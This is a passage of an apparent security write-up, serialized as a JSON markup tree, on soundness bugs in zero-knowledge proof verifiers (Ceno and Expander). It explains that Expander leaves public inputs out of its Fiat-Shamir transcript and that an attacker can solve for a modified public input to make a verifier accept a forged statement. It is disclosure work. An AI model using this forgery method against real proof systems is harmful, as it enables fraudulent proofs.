,[119685,119689],{"type":23,"tag":314,"props":119686,"children":119688},{"className":119687,"style":3305},[3304],[],{"type":23,"tag":314,"props":119690,"children":119692},{"className":119691},[3310,3311,3312,3313],[119693],{"type":23,"tag":314,"props":119694,"children":119696},{"className":119695},[3264,3313],[119697],{"type":28,"value":3267},{"type":23,"tag":314,"props":119699,"children":119701},{"className":119700},[20982],[119702],{"type":28,"value":20985},{"type":23,"tag":314,"props":119704,"children":119706},{"className":119705},[3290],[119707],{"type":23,"tag":314,"props":119708,"children":119710},{"className":119709,"style":92382},[3295],[119711],{"type":23,"tag":314,"props":119712,"children":119713},{},[],{"type":23,"tag":314,"props":119715,"children":119717},{"className":119716},[20976],[119718],{"type":28,"value":431},{"type":28,"value":282},{"type":23,"tag":24,"props":119721,"children":119722},{},[119723,119725,119878],{"type":28,"value":119724},"We have two unknowns ",{"type":23,"tag":94,"props":119726,"children":119728},{"className":119727},[3237,3238],[119729],{"type":23,"tag":314,"props":119730,"children":119732},{"className":119731},[3243],[119733],{"type":23,"tag":314,"props":119734,"children":119736},{"className":119735,"ariaHidden":1481},[3248],[119737],{"type":23,"tag":314,"props":119738,"children":119740},{"className":119739},[3253],[119741,119745,119750,119807,119812,119816,119873],{"type":23,"tag":314,"props":119742,"children":119744},{"className":119743,"style":3365},[3258],[],{"type":23,"tag":314,"props":119746,"children":119748},{"className":119747},[20954],[119749],{"type":28,"value":341},{"type":23,"tag":314,"props":119751,"children":119753},{"className":119752},[3264],[119754,119759],{"type":23,"tag":314,"props":119755,"children":119757},{"className":119756},[3264,20825],[119758],{"type":28,"value":18514},{"type":23,"tag":314,"props":119760,"children":119762},{"className":119761},[3280],[119763],{"type":23,"tag":314,"props":119764,"children":119766},{"className":119765},[3285,20879],[119767,119796],{"type":23,"tag":314,"props":119768,"children":119770},{"className":119769},[3290],[119771,119791],{"type":23,"tag":314,"props":119772,"children":119774},{"className":119773,"style":92351},[3295],[119775],{"type":23,"tag":314,"props":119776,"children":119777},{"style":92355},[119778,119782],{"type":23,"tag":314,"props":119779,"children":119781},{"className":119780,"style":3305},[3304],[],{"type":23,"tag":314,"props":119783,"children":119785},{"className":119784},[3310,3311,3312,3313],[119786],{"type":23,"tag":314,"props":119787,"children":119789},{"className":119788},[3264,3313],[119790],{"type":28,"value":1600},{"type":23,"tag":314,"props":119792,"children":119794},{"className":119793},[20982],[119795],{"type":28,"value":20985},{"type":23,"tag":314,"props":119797,"children":119799},{"className":119798},[3290],[119800],{"type":23,"tag":314,"props":119801,"children":119803},{"className":119802,"style":92382},[3295],[119804],{"type":23,"tag":314,"props":119805,"children":119806},{},[],{"type":23,"tag":314,"props":119808,"children":119810},{"className":119809},[3376],[119811],{"type":28,"value":3379},{"type":23,"tag":314,"props":119813,"children":119815},{"className":119814,"style":3383},[3344],[],{"type":23,"tag":314,"props":119817,"children":119819},{"className":119818},[3264],[119820,119825],{"type":23,"tag":314,"props":119821,"children":119823},{"className":119822},[3264,20825],[119824],{"type":28,"value":18514},{"type":23,"tag":314,"props":119826,"children":119828},{"className":119827},[3280],[119829],{"type":23,"tag":314,"props":119830,"children":119832},{"className":119831},[3285,20879],[119833,119862],{"type":23,"tag":314,"props":119834,"children":119836},{"className":119835},[3290],[119837,119857],{"type":23,"tag":314,"props":119838,"children":119840},{"className":119839,"style":92351},[3295],[119841],{"type":23,"tag":314,"props":119842,"children":119843},{"style":92355},[119844,119848],{"type":23,"tag":314,"props":119845,"children":119847},{"className":119846,"style":3305},[3304],[],{"type":23,"tag":314,"props":119849,"children":119851},{"className":119850},[3310,3311,3312,3313],[119852],{"type":23,"tag":314,"props":119853,"children":119855},{"className":119854},[3264,3313],[119856],{"type":28,"value":3267},{"type":23,"tag":314,"props":119858,"children":119860},{"className":119859},[20982],[119861],{"type":28,"value":20985},{"type":23,"tag":314,"props":119863,"children":119865},{"className":119864},[3290],[119866],{"type":23,"tag":314,"props":119867,"children":119869},{"className":119868,"style":92382},[3295],[119870],{"type":23,"tag":314,"props":119871,"children":119872},{},[],{"type":23,"tag":314,"props":119874,"children":119876},{"className":119875},[20976],[119877],{"type":28,"value":431},{"type":28,"value":119879}," and two equations, one linear and one bilinear:",{"type":23,"tag":84,"props":119881,"children":119882},{},[119883,120210],{"type":23,"tag":88,"props":119884,"children":119885},{},[119886,119888],{"type":28,"value":119887},"Linear (from GKR): ",{"type":23,"tag":94,"props":119889,"children":119891},{"className":119890},[3237,3238],[119892],{"type":23,"tag":314,"props":119893,"children":119895},{"className":119894},[3243],[119896],{"type":23,"tag":314,"props":119897,"children":119899},{"className":119898,"ariaHidden":1481},[3248],[119900,120036,120171,120197],{"type":23,"tag":314,"props":119901,"children":119903},{"className":119902},[3253],[119904,119909,119966,120023,120027,120032],{"type":23,"tag":314,"props":119905,"children":119908},{"className":119906,"style":119907},[3258],"height:0.7333em;vertical-align:-0.15em;",[],{"type":23,"tag":314,"props":119910,"children":119912},{"className":119911},[3264],[119913,119918],{"type":23,"tag":314,"props":119914,"children":119916},{"className":119915},[3264,20825],[119917],{"type":28,"value":31},{"type":23,"tag":314,"props":119919,"children":119921},{"className":119920},[3280],[119922],{"type":23,"tag":314,"props":119923,"children":119925},{"className":119924},[3285,20879],[119926,119955],{"type":23,"tag":314,"props":119927,"children":119929},{"className":119928},[3290],[119930,119950],{"type":23,"tag":314,"props":119931,"children":119933},{"className":119932,"style":92351},[3295],[119934],{"type":23,"tag":314,"props":119935,"children":119936},{"style":92355},[119937,119941],{"type":23,"tag":314,"props":119938,"children":119940},{"className":119939,"style":3305},[3304],[],{"type":23,"tag":314,"props":119942,"children":119944},{"className":119943},[3310,3311,3312,3313],[119945],{"type":23,"tag":314,"props":119946,"children":119948},{"className":119947},[3264,3313],[119949],{"type":28,"value":1600},{"type":23,"tag":314,"props":119951,"children":119953},{"className":119952},[20982],[119954],{"type":28,"value":20985},{"type":23,"tag":314,"props":119956,"children":119958},{"className":119957},[3290],[119959],{"type":23,"tag":314,"props":119960,"children":119962},{"className":119961,"style":92382},[3295],[119963],{"type":23,"tag":314,"props":119964,"children":119965},{},[],{"type":23,"tag":314,"props":119967,"children":119969},{"className":119968},[3264],[119970,119975],{"type":23,"tag":314,"props":119971,"children":119973},{"className":119972},[3264,20825],[119974],{"type":28,"value":18514},{"type":23,"tag":314,"props":119976,"children":119978},{"className":119977},[3280],[119979],{"type":23,"tag":314,"props":119980,"children":119982},{"className":119981},[3285,20879],[119983,120012],{"type":23,"tag":314,"props":119984,"children":119986},{"className":119985},[3290],[119987,120007],{"type":23,"tag":314,"props":119988,"children":119990},{"className":119989,"style":92351},[3295],[119991],{"type":23,"tag":314,"props":119992,"children":119993},{"style":92355},[119994,119998],{"type":23,"tag":314,"props":119995,"children":119997},{"className":119996,"style":3305},[3304],[],{"type":23,"tag":314,"props":119999,"children":120001},{"className":120000},[3310,3311,3312,3313],[120002],{"type":23,"tag":314,"props":120003,"children":120005},{"className":120004},[3264,3313],[120006],{"type":28,"value":1600},{"type":23,"tag":314,"props":120008,"children":120010},{"className":120009},[20982],[120011],{"type":28,"value":20985},{"type":23,"tag":314,"props":120013,"children":120015},{"className":120014},[3290],[120016],{"type":23,"tag":314,"props":120017,"children":120019},{"className":120018,"style":92382},[3295],[120020],{"type":23,"tag":314,"props":120021,"children":120022},{},[],{"type":23,"tag":314,"props":120024,"children":120026},{"className":120025,"style":3345},[3344],[],{"type":23,"tag":314,"props":120028,"children":120030},{"className":120029},[3350],[120031],{"type":28,"value":1130},{"type":23,"tag":314,"props":120033,"children":120035},{"className":120034,"style":3345},[3344],[],{"type":23,"tag":314,"props":120037,"children":120039},{"className":120038},[3253],[120040,120044,120101,120158,120162,120167],{"type":23,"tag":314,"props":120041,"children":120043},{"className":120042,"style":119907},[3258],[],{"type":23,"tag":314,"props":120045,"children":120047},{"className":120046},[3264],[120048,120053],{"type":23,"tag":314,"props":120049,"children":120051},{"className":120050},[3264,20825],[120052],{"type":28,"value":31},{"type":23,"tag":314,"props":120054,"children":120056},{"className":120055},[3280],[120057],{"type":23,"tag":314,"props":120058,"children":120060},{"className":120059},[3285,20879],[120061,120090],{"type":23,"tag":314,"props":120062,"children":120064},{"className":120063},[3290],[120065,120085],{"type":23,"tag":314,"props":120066,"children":120068},{"className":120067,"style":92351},[3295],[120069],{"type":23,"tag":314,"props":120070,"children":120071},{"style":92355},[120072,120076],{"type":23,"tag":314,"props":120073,"children":120075},{"className":120074,"style":3305},[3304],[],{"type":23,"tag":314,"props":120077,"children":120079},{"className":120078},[3310,3311,3312,3313],[120080],{"type":23,"tag":314,"props":120081,"children":120083},{"className":120082},[3264,3313],[120084],{"type":28,"value":3267},{"type":23,"tag":314,"props":120086,"children":120088},{"className":120087},[20982],[120089],{"type":28,"value":20985},{"type":23,"tag":314,"props":120091,"children":120093},{"className":120092},[3290],[120094],{"type":23,"tag":314,"props":120095,"children":120097},{"className":120096,"style":92382},[3295],[120098],{"type":23,"tag":314,"props":120099,"children":120100},{},[],{"type":23,"tag":314,"props":120102,"children":120104},{"className":120103},[3264],[120105,120110],{"type":23,"tag":314,"props":120106,"children":120108},{"className":120107},[3264,20825],[120109],{"type":28,"value":18514},{"type":23,"tag":314,"props":120111,"children":120113},{"className":120112},[3280],[120114],{"type":23,"tag":314,"props":120115,"children":120117},{"className":120116},[3285,20879],[120118,120147],{"type":23,"tag":314,"props":120119,"children":120121},{"className":120120},[3290],[120122,120142],{"type":23,"tag":314,"props":120123,"children":120125},{"className":120124,"style":92351},[3295],[120126],{"type":23,"tag":314,"props":120127,"children":120128},{"style":92355},[120129,120133],{"type":23,"tag":314,"props":120130,"children":120132},{"className":120131,"style":3305},[3304],[],{"type":23,"tag":314,"props":120134,"children":120136},{"className":120135},[3310,3311,3312,3313],[120137],{"type":23,"tag":314,"props":120138,"children":120140},{"className":120139},[3264,3313],[120141],{"type":28,"value":3267},{"type":23,"tag":314,"props":120143,"children":120145},{"className":120144},[20982],[120146],{"type":28,"value":20985},{"type":23,"tag":314,"props":120148,"children":120150},{"className":120149},[3290],[120151],{"type":23,"tag":314,"props":120152,"children":120154},{"className":120153,"style":92382},[3295],[120155],{"type":23,"tag":314,"props":120156,"children":120157},{},[],{"type":23,"tag":314,"props":120159,"children":120161},{"className":120160,"style":3345},[3344],[],{"type":23,"tag":314,"props":120163,"children":120165},{"className":120164},[3350],[120166],{"type":28,"value":1130},{"type":23,"tag":314,"props":120168,"children":120170},{"className":120169,"style":3345},[3344],[],{"type":23,"tag":314,"props":120172,"children":120174},{"className":120173},[3253],[120175,120179,120184,120188,120193],{"type":23,"tag":314,"props":120176,"children":120178},{"className":120177,"style":110140},[3258],[],{"type":23,"tag":314,"props":120180,"children":120182},{"className":120181},[3264,20825],[120183],{"type":28,"value":308},{"type":23,"tag":314,"props":120185,"children":120187},{"className":120186,"style":3442},[3344],[],{"type":23,"tag":314,"props":120189,"children":120191},{"className":120190},[3447],[120192],{"type":28,"value":1102},{"type":23,"tag":314,"props":120194,"children":120196},{"className":120195,"style":3442},[3344],[],{"type":23,"tag":314,"props":120198,"children":120200},{"className":120199},[3253],[120201,120205],{"type":23,"tag":314,"props":120202,"children":120204},{"className":120203,"style":93330},[3258],[],{"type":23,"tag":314,"props":120206,"children":120208},{"className":120207},[3264],[120209],{"type":28,"value":1600},{"type":23,"tag":88,"props":120211,"children":120212},{},[120213,120215],{"type":28,"value":120214},"Bilinear (from multiset): ",{"type":23,"tag":94,"props":120216,"children":120218},{"className":120217},[3237,3238],[120219],{"type":23,"tag":314,"props":120220,"children":120222},{"className":120221},[3243],[120223],{"type":23,"tag":314,"props":120224,"children":120226},{"className":120225,"ariaHidden":1481},[3248],[120227,120253,120331,120409,120435],{"type":23,"tag":314,"props":120228,"children":120230},{"className":120229},[3253],[120231,120235,120240,120244,120249],{"type":23,"tag":314,"props":120232,"children":120234},{"className":120233,"style":92214},[3258],[],{"type":23,"tag":314,"props":120236,"children":120238},{"className":120237,"style":93728},[3264,20825],[120239],{"type":28,"value":87936},{"type":23,"tag":314,"props":120241,"children":120243},{"className":120242,"style":3345},[3344],[],{"type":23,"tag":314,"props":120245,"children":120247},{"className":120246},[3350],[120248],{"type":28,"value":110561},{"type":23,"tag":314,"props":120250,"children":120252},{"className":120251,"style":3345},[3344],[],{"type":23,"tag":314,"props":120254,"children":120256},{"className":120255},[3253],[120257,120261,120318,120322,120327],{"type":23,"tag":314,"props":120258,"children":120260},{"className":120259,"style":119353},[3258],[],{"type":23,"tag":314,"props":120262,"children":120264},{"className":120263},[3264],[120265,120270],{"type":23,"tag":314,"props":120266,"children":120268},{"className":120267},[3264,20825],[120269],{"type":28,"value":18514},{"type":23,"tag":314,"props":120271,"children":120273},{"className":120272},[3280],[120274],{"type":23,"tag":314,"props":120275,"children":120277},{"className":120276},[3285,20879],[120278,120307],{"type":23,"tag":314,"props":120279,"children":120281},{"className":120280},[3290],[120282,120302],{"type":23,"tag":314,"props":120283,"children":120285},{"className":120284,"style":92351},[3295],[120286],{"type":23,"tag":314,"props":120287,"children":120288},{"style":92355},[120289,120293],{"type":23,"tag":314,"props":120290,"children":120292},{"className":120291,"style":3305},[3304],[],{"type":23,"tag":314,"props":120294,"children":120296},{"className":120295},[3310,3311,3312,3313],[120297],{"type":23,"tag":314,"props":120298,"children":120300},{"className":120299},[3264,3313],[120301],{"type":28,"value":1600},{"type":23,"tag":314,"props":120303,"children":120305},{"className":120304},[20982],[120306],{"type":28,"value":20985},{"type":23,"tag":314,"props":120308,"children":120310},{"className":120309},[3290],[120311],{"type":23,"tag":314,"props":120312,"children":120314},{"className":120313,"style":92382},[3295],[120315],{"type":23,"tag":314,"props":120316,"children":120317},{},[],{"type":23,"tag":314,"props":120319,"children":120321},{"className":120320,"style":3345},[3344],[],{"type":23,"tag":314,"props":120323,"children":120325},{"className":120324},[3350],[120326],{"type":28,"value":110561},{"type":23,"tag":314,"props":120328,"children":120330},{"className":120329,"style":3345},[3344],[],{"type":23,"tag":314,"props":120332,"children":120334},{"className":120333},[3253],[120335,120339,120396,120400,120405],{"type":23,"tag":314,"props":120336,"children":120338},{"className":120337,"style":119907},[3258],[],{"type":23,"tag":314,"props":120340,"children":120342},{"className":120341},[3264],[120343,120348],{"type":23,"tag":314,"props":120344,"children":120346},{"className":120345},[3264,20825],[120347],{"type":28,"value":18514},{"type":23,"tag":314,"props":120349,"children":120351},{"className":120350},[3280],[120352],{"type":23,"tag":314,"props":120353,"children":120355},{"className":120354},[3285,20879],[120356,120385],{"type":23,"tag":314,"props":120357,"children":120359},{"className":120358},[3290],[120360,120380],{"type":23,"tag":314,"props":120361,"children":120363},{"className":120362,"style":92351},[3295],[120364],{"type":23,"tag":314,"props":120365,"children":120366},{"style":92355},[120367,120371],{"type":23,"tag":314,"props":120368,"children":120370},{"className":120369,"style":3305},[3304],[],{"type":23,"tag":314,"props":120372,"children":120374},{"className":120373},[3310,3311,3312,3313],[120375],{"type":23,"tag":314,"props":120376,"children":120378},{"className":120377},[3264,3313],[120379],{"type":28,"value":3267},{"type":23,"tag":314,"props":120381,"children":120383},{"className":120382},[20982],[120384],{"type":28,"value":20985},{"type":23,"tag":314,"props":120386,"children":120388},{"className":120387},[3290],[120389],{"type":23,"tag":314,"props":120390,"children":120392},{"className":120391,"style":92382},[3295],[120393],{"type":23,"tag":314,"props":120394,"children":120395},{},[],{"type":23,"tag":314,"props":120397,"children":120399},{"className":120398,"style":3345},[3344],[],{"type":23,"tag":314,"props":120401,"children":120403},{"className":120402},[3350],[120404],{"type":28,"value":1130},{"type":23,"tag":314,"props":120406,"children":120408},{"className":120407,"style":3345},[3344],[],{"type":23,"tag":314,"props":120410,"children":120412},{"className":120411},[3253],[120413,120417,120422,120426,120431],{"type":23,"tag":314,"props":120414,"children":120416},{"className":120415,"style":92214},[3258],[],{"type":23,"tag":314,"props":120418,"children":120420},{"className":120419},[3264,20825],[120421],{"type":28,"value":69817},{"type":23,"tag":314,"props":120423,"children":120425},{"className":120424,"style":3442},[3344],[],{"type":23,"tag":314,"props":120427,"children":120429},{"className":120428},[3447],[120430],{"type":28,"value":1102},{"type":23,"tag":314,"props":120432,"children":120434},{"className":120433,"style":3442},[3344],[],{"type":23,"tag":314,"props":120436,"children":120438},{"className":120437},[3253],[120439,120443],{"type":23,"tag":314,"props":120440,"children":120442},{"className":120441,"style":93330},[3258],[],{"type":23,"tag":314,"props":120444,"children":120446},{"className":120445},[3264],[120447],{"type":28,"value":1600},{"type":23,"tag":24,"props":120449,"children":120450},{},[120451],{"type":28,"value":120452},"Substitution reduces this to a quadratic in one variable, which is solvable with the quadratic formula.",{"type":23,"tag":24,"props":120454,"children":120455},{},[120456,120460,120462,120469,120471,120478],{"type":23,"tag":721,"props":120457,"children":120458},{},[120459],{"type":28,"value":116009},{"type":28,"value":120461}," Fixed on March 5, 2026 via ",{"type":23,"tag":31,"props":120463,"children":120466},{"href":120464,"rel":120465},"https://github.com/scroll-tech/ceno/pull/1262",[35],[120467],{"type":28,"value":120468},"PR #1262",{"type":28,"value":120470}," (original report: ",{"type":23,"tag":31,"props":120472,"children":120475},{"href":120473,"rel":120474},"https://github.com/scroll-tech/ceno/issues/1125",[35],[120476],{"type":28,"value":120477},"#1125",{"type":28,"value":431},{"type":23,"tag":18031,"props":120480,"children":120481},{},[],{"type":23,"tag":837,"props":120483,"children":120485},{"id":120484},"expander-polyhedra",[120486],{"type":28,"value":120487},"Expander (Polyhedra)",{"type":23,"tag":24,"props":120489,"children":120490},{},[120491],{"type":28,"value":120492},"Expander is a GKR-based proof system for arithmetic circuits.",{"type":23,"tag":24,"props":120494,"children":120495},{},[120496],{"type":23,"tag":721,"props":120497,"children":120498},{},[120499],{"type":28,"value":114715},{"type":23,"tag":304,"props":120501,"children":120503},{"code":120502},"Proof (raw bytes, parsed in order):\n - PCS commitment\n - Sumcheck round polynomials (for each layer)\n - Layer claims (claim_x, claim_y)\n - PCS opening proofs\n\nNOT in proof bytes (passed separately):\n - public_input // statement data passed separately\n - claimed_v // statement claim passed separately\n",[120504],{"type":23,"tag":94,"props":120505,"children":120506},{"__ignoreMap":7},[120507],{"type":28,"value":120502},{"type":23,"tag":24,"props":120509,"children":120510},{},[120511,120513,120519],{"type":28,"value":120512},"In Expander's circuit model, constant gates can reference public input values. During GKR verification, the ",{"type":23,"tag":94,"props":120514,"children":120516},{"className":120515},[],[120517],{"type":28,"value":120518},"eval_cst",{"type":28,"value":120520}," evaluates the contribution of these gates at the sumcheck challenge point:",{"type":23,"tag":304,"props":120522,"children":120524},{"code":120523,"language":2233,"meta":7,"className":2234,"style":7},"sum -= GKRVerifierHelper::eval_cst(&layer.const_, public_input, sp);\n",[120525],{"type":23,"tag":94,"props":120526,"children":120527},{"__ignoreMap":7},[120528],{"type":23,"tag":314,"props":120529,"children":120530},{"class":316,"line":317},[120531,120535,120540,120545,120549,120553,120557,120561,120566,120570,120575,120580,120584,120589],{"type":23,"tag":314,"props":120532,"children":120533},{"style":360},[120534],{"type":28,"value":75884},{"type":23,"tag":314,"props":120536,"children":120537},{"style":354},[120538],{"type":28,"value":120539}," -=",{"type":23,"tag":314,"props":120541,"children":120542},{"style":2674},[120543],{"type":28,"value":120544}," GKRVerifierHelper",{"type":23,"tag":314,"props":120546,"children":120547},{"style":354},[120548],{"type":28,"value":2737},{"type":23,"tag":314,"props":120550,"children":120551},{"style":332},[120552],{"type":28,"value":120518},{"type":23,"tag":314,"props":120554,"children":120555},{"style":338},[120556],{"type":28,"value":341},{"type":23,"tag":314,"props":120558,"children":120559},{"style":354},[120560],{"type":28,"value":1833},{"type":23,"tag":314,"props":120562,"children":120563},{"style":360},[120564],{"type":28,"value":120565},"layer",{"type":23,"tag":314,"props":120567,"children":120568},{"style":354},[120569],{"type":28,"value":282},{"type":23,"tag":314,"props":120571,"children":120572},{"style":338},[120573],{"type":28,"value":120574},"const_, ",{"type":23,"tag":314,"props":120576,"children":120577},{"style":360},[120578],{"type":28,"value":120579},"public_input",{"type":23,"tag":314,"props":120581,"children":120582},{"style":338},[120583],{"type":28,"value":778},{"type":23,"tag":314,"props":120585,"children":120586},{"style":360},[120587],{"type":28,"value":120588},"sp",{"type":23,"tag":314,"props":120590,"children":120591},{"style":338},[120592],{"type":28,"value":1025},{"type":23,"tag":24,"props":120594,"children":120595},{},[120596,120598,120603],{"type":28,"value":120597},"This evaluation is a linear combination of public input values, weighted by coefficients derived from the challenges stored in the verifier's scratch pad (",{"type":23,"tag":94,"props":120599,"children":120601},{"className":120600},[],[120602],{"type":28,"value":120588},{"type":28,"value":419},{"type":23,"tag":24,"props":120605,"children":120606},{},[120607],{"type":23,"tag":721,"props":120608,"children":120609},{},[120610],{"type":28,"value":120611},"The vulnerability:",{"type":23,"tag":24,"props":120613,"children":120614},{},[120615,120620],{"type":23,"tag":94,"props":120616,"children":120618},{"className":120617},[],[120619],{"type":28,"value":120579},{"type":28,"value":120621}," is never absorbed into the transcript. The transcript is initialized from the PCS commitment and sumcheck round messages, but public inputs are passed separately to the verifier.",{"type":23,"tag":24,"props":120623,"children":120624},{},[120625],{"type":23,"tag":197,"props":120626,"children":120629},{"alt":120627,"src":120628},"9_expander","/posts/zkvms-unfaithful-claims/9_expander.svg",[],{"type":23,"tag":24,"props":120631,"children":120632},{},[120633,120634,120639],{"type":28,"value":92},{"type":23,"tag":94,"props":120635,"children":120637},{"className":120636},[],[120638],{"type":28,"value":120518},{"type":28,"value":120640}," function computes a linear combination:",{"type":23,"tag":24,"props":120642,"children":120643},{},[120644],{"type":23,"tag":94,"props":120645,"children":120647},{"className":120646},[3237,3238],[120648],{"type":23,"tag":314,"props":120649,"children":120651},{"className":120650},[3243],[120652],{"type":23,"tag":314,"props":120653,"children":120655},{"className":120654,"ariaHidden":1481},[3248],[120656,120701,120825],{"type":23,"tag":314,"props":120657,"children":120659},{"className":120658},[3253],[120660,120664,120673,120678,120688,120692,120697],{"type":23,"tag":314,"props":120661,"children":120663},{"className":120662,"style":93712},[3258],[],{"type":23,"tag":314,"props":120665,"children":120667},{"className":120666},[3264,28],[120668],{"type":23,"tag":314,"props":120669,"children":120671},{"className":120670},[3264],[120672],{"type":28,"value":36797},{"type":23,"tag":314,"props":120674,"children":120676},{"className":120675,"style":92299},[3264],[120677],{"type":28,"value":2338},{"type":23,"tag":314,"props":120679,"children":120681},{"className":120680},[3264,28],[120682],{"type":23,"tag":314,"props":120683,"children":120685},{"className":120684},[3264],[120686],{"type":28,"value":120687},"cst",{"type":23,"tag":314,"props":120689,"children":120691},{"className":120690,"style":3442},[3344],[],{"type":23,"tag":314,"props":120693,"children":120695},{"className":120694},[3447],[120696],{"type":28,"value":1102},{"type":23,"tag":314,"props":120698,"children":120700},{"className":120699,"style":3442},[3344],[],{"type":23,"tag":314,"props":120702,"children":120704},{"className":120703},[3253],[120705,120709,120766,120770,120797,120802,120807,120812,120816,120821],{"type":23,"tag":314,"props":120706,"children":120708},{"className":120707,"style":92241},[3258],[],{"type":23,"tag":314,"props":120710,"children":120712},{"className":120711},[20861],[120713,120718],{"type":23,"tag":314,"props":120714,"children":120716},{"className":120715,"style":20868},[20861,20866,20867],[120717],{"type":28,"value":108094},{"type":23,"tag":314,"props":120719,"children":120721},{"className":120720},[3280],[120722],{"type":23,"tag":314,"props":120723,"children":120725},{"className":120724},[3285,20879],[120726,120755],{"type":23,"tag":314,"props":120727,"children":120729},{"className":120728},[3290],[120730,120750],{"type":23,"tag":314,"props":120731,"children":120733},{"className":120732,"style":113506},[3295],[120734],{"type":23,"tag":314,"props":120735,"children":120736},{"style":20892},[120737,120741],{"type":23,"tag":314,"props":120738,"children":120740},{"className":120739,"style":3305},[3304],[],{"type":23,"tag":314,"props":120742,"children":120744},{"className":120743},[3310,3311,3312,3313],[120745],{"type":23,"tag":314,"props":120746,"children":120748},{"className":120747},[3264,20825,3313],[120749],{"type":28,"value":2993},{"type":23,"tag":314,"props":120751,"children":120753},{"className":120752},[20982],[120754],{"type":28,"value":20985},{"type":23,"tag":314,"props":120756,"children":120758},{"className":120757},[3290],[120759],{"type":23,"tag":314,"props":120760,"children":120762},{"className":120761,"style":113786},[3295],[120763],{"type":23,"tag":314,"props":120764,"children":120765},{},[],{"type":23,"tag":314,"props":120767,"children":120769},{"className":120768,"style":3383},[3344],[],{"type":23,"tag":314,"props":120771,"children":120773},{"className":120772},[3264],[120774,120783,120788],{"type":23,"tag":314,"props":120775,"children":120777},{"className":120776},[3264,28],[120778],{"type":23,"tag":314,"props":120779,"children":120781},{"className":120780},[3264],[120782],{"type":28,"value":60927},{"type":23,"tag":314,"props":120784,"children":120786},{"className":120785,"style":92299},[3264],[120787],{"type":28,"value":2338},{"type":23,"tag":314,"props":120789,"children":120791},{"className":120790},[3264,28],[120792],{"type":23,"tag":314,"props":120793,"children":120795},{"className":120794},[3264],[120796],{"type":28,"value":99},{"type":23,"tag":314,"props":120798,"children":120800},{"className":120799},[20954],[120801],{"type":28,"value":1312},{"type":23,"tag":314,"props":120803,"children":120805},{"className":120804},[3264,20825],[120806],{"type":28,"value":2993},{"type":23,"tag":314,"props":120808,"children":120810},{"className":120809},[20976],[120811],{"type":28,"value":14653},{"type":23,"tag":314,"props":120813,"children":120815},{"className":120814,"style":3345},[3344],[],{"type":23,"tag":314,"props":120817,"children":120819},{"className":120818},[3350],[120820],{"type":28,"value":110561},{"type":23,"tag":314,"props":120822,"children":120824},{"className":120823,"style":3345},[3344],[],{"type":23,"tag":314,"props":120826,"children":120828},{"className":120827},[3253],[120829,120833,120842,120847,120852,120857,120861,120910],{"type":23,"tag":314,"props":120830,"children":120832},{"className":120831,"style":3365},[3258],[],{"type":23,"tag":314,"props":120834,"children":120836},{"className":120835},[3264,28],[120837],{"type":23,"tag":314,"props":120838,"children":120840},{"className":120839},[3264],[120841],{"type":28,"value":111888},{"type":23,"tag":314,"props":120843,"children":120845},{"className":120844},[20954],[120846],{"type":28,"value":341},{"type":23,"tag":314,"props":120848,"children":120850},{"className":120849},[3264,20825],[120851],{"type":28,"value":2993},{"type":23,"tag":314,"props":120853,"children":120855},{"className":120854},[3376],[120856],{"type":28,"value":3379},{"type":23,"tag":314,"props":120858,"children":120860},{"className":120859,"style":3383},[3344],[],{"type":23,"tag":314,"props":120862,"children":120864},{"className":120863},[3264,111448],[120865],{"type":23,"tag":314,"props":120866,"children":120868},{"className":120867},[3285],[120869],{"type":23,"tag":314,"props":120870,"children":120872},{"className":120871},[3290],[120873],{"type":23,"tag":314,"props":120874,"children":120876},{"className":120875,"style":111534},[3295],[120877,120889],{"type":23,"tag":314,"props":120878,"children":120879},{"style":111465},[120880,120884],{"type":23,"tag":314,"props":120881,"children":120883},{"className":120882,"style":111470},[3304],[],{"type":23,"tag":314,"props":120885,"children":120887},{"className":120886,"style":92299},[3264,20825],[120888],{"type":28,"value":93118},{"type":23,"tag":314,"props":120890,"children":120891},{"style":111465},[120892,120896],{"type":23,"tag":314,"props":120893,"children":120895},{"className":120894,"style":111470},[3304],[],{"type":23,"tag":314,"props":120897,"children":120899},{"className":120898,"style":111558},[111488],[120900],{"type":23,"tag":314,"props":120901,"children":120903},{"className":120902,"style":111564},[111563],[120904],{"type":23,"tag":33522,"props":120905,"children":120906},{"xmlns":111568,"width":111569,"height":111570,"style":111571,"viewBox":111572,"preserveAspectRatio":111573},[120907],{"type":23,"tag":111576,"props":120908,"children":120909},{"d":111578},[],{"type":23,"tag":314,"props":120911,"children":120913},{"className":120912},[20976],[120914],{"type":28,"value":431},{"type":23,"tag":24,"props":120916,"children":120917},{},[120918,120919,120988,120990,120995,120997,121002],{"type":28,"value":115135},{"type":23,"tag":94,"props":120920,"children":120922},{"className":120921},[3237,3238],[120923],{"type":23,"tag":314,"props":120924,"children":120926},{"className":120925},[3243],[120927],{"type":23,"tag":314,"props":120928,"children":120930},{"className":120929,"ariaHidden":1481},[3248],[120931],{"type":23,"tag":314,"props":120932,"children":120934},{"className":120933},[3253],[120935,120939],{"type":23,"tag":314,"props":120936,"children":120938},{"className":120937,"style":111534},[3258],[],{"type":23,"tag":314,"props":120940,"children":120942},{"className":120941},[3264,111448],[120943],{"type":23,"tag":314,"props":120944,"children":120946},{"className":120945},[3285],[120947],{"type":23,"tag":314,"props":120948,"children":120950},{"className":120949},[3290],[120951],{"type":23,"tag":314,"props":120952,"children":120954},{"className":120953,"style":111534},[3295],[120955,120967],{"type":23,"tag":314,"props":120956,"children":120957},{"style":111465},[120958,120962],{"type":23,"tag":314,"props":120959,"children":120961},{"className":120960,"style":111470},[3304],[],{"type":23,"tag":314,"props":120963,"children":120965},{"className":120964,"style":92299},[3264,20825],[120966],{"type":28,"value":93118},{"type":23,"tag":314,"props":120968,"children":120969},{"style":111465},[120970,120974],{"type":23,"tag":314,"props":120971,"children":120973},{"className":120972,"style":111470},[3304],[],{"type":23,"tag":314,"props":120975,"children":120977},{"className":120976,"style":111558},[111488],[120978],{"type":23,"tag":314,"props":120979,"children":120981},{"className":120980,"style":111564},[111563],[120982],{"type":23,"tag":33522,"props":120983,"children":120984},{"xmlns":111568,"width":111569,"height":111570,"style":111571,"viewBox":111572,"preserveAspectRatio":111573},[120985],{"type":23,"tag":111576,"props":120986,"children":120987},{"d":111578},[],{"type":28,"value":120989}," contains the challenges. Since challenges are derived before the statement data is bound, they are independent of ",{"type":23,"tag":94,"props":120991,"children":120993},{"className":120992},[],[120994],{"type":28,"value":120579},{"type":28,"value":120996},". This lets an attacker choose an arbitrary false statement (e.g., a forged output) and then solve the induced linear constraints for a modified ",{"type":23,"tag":94,"props":120998,"children":121000},{"className":120999},[],[121001],{"type":28,"value":120579},{"type":28,"value":121003}," that makes the verifier's check 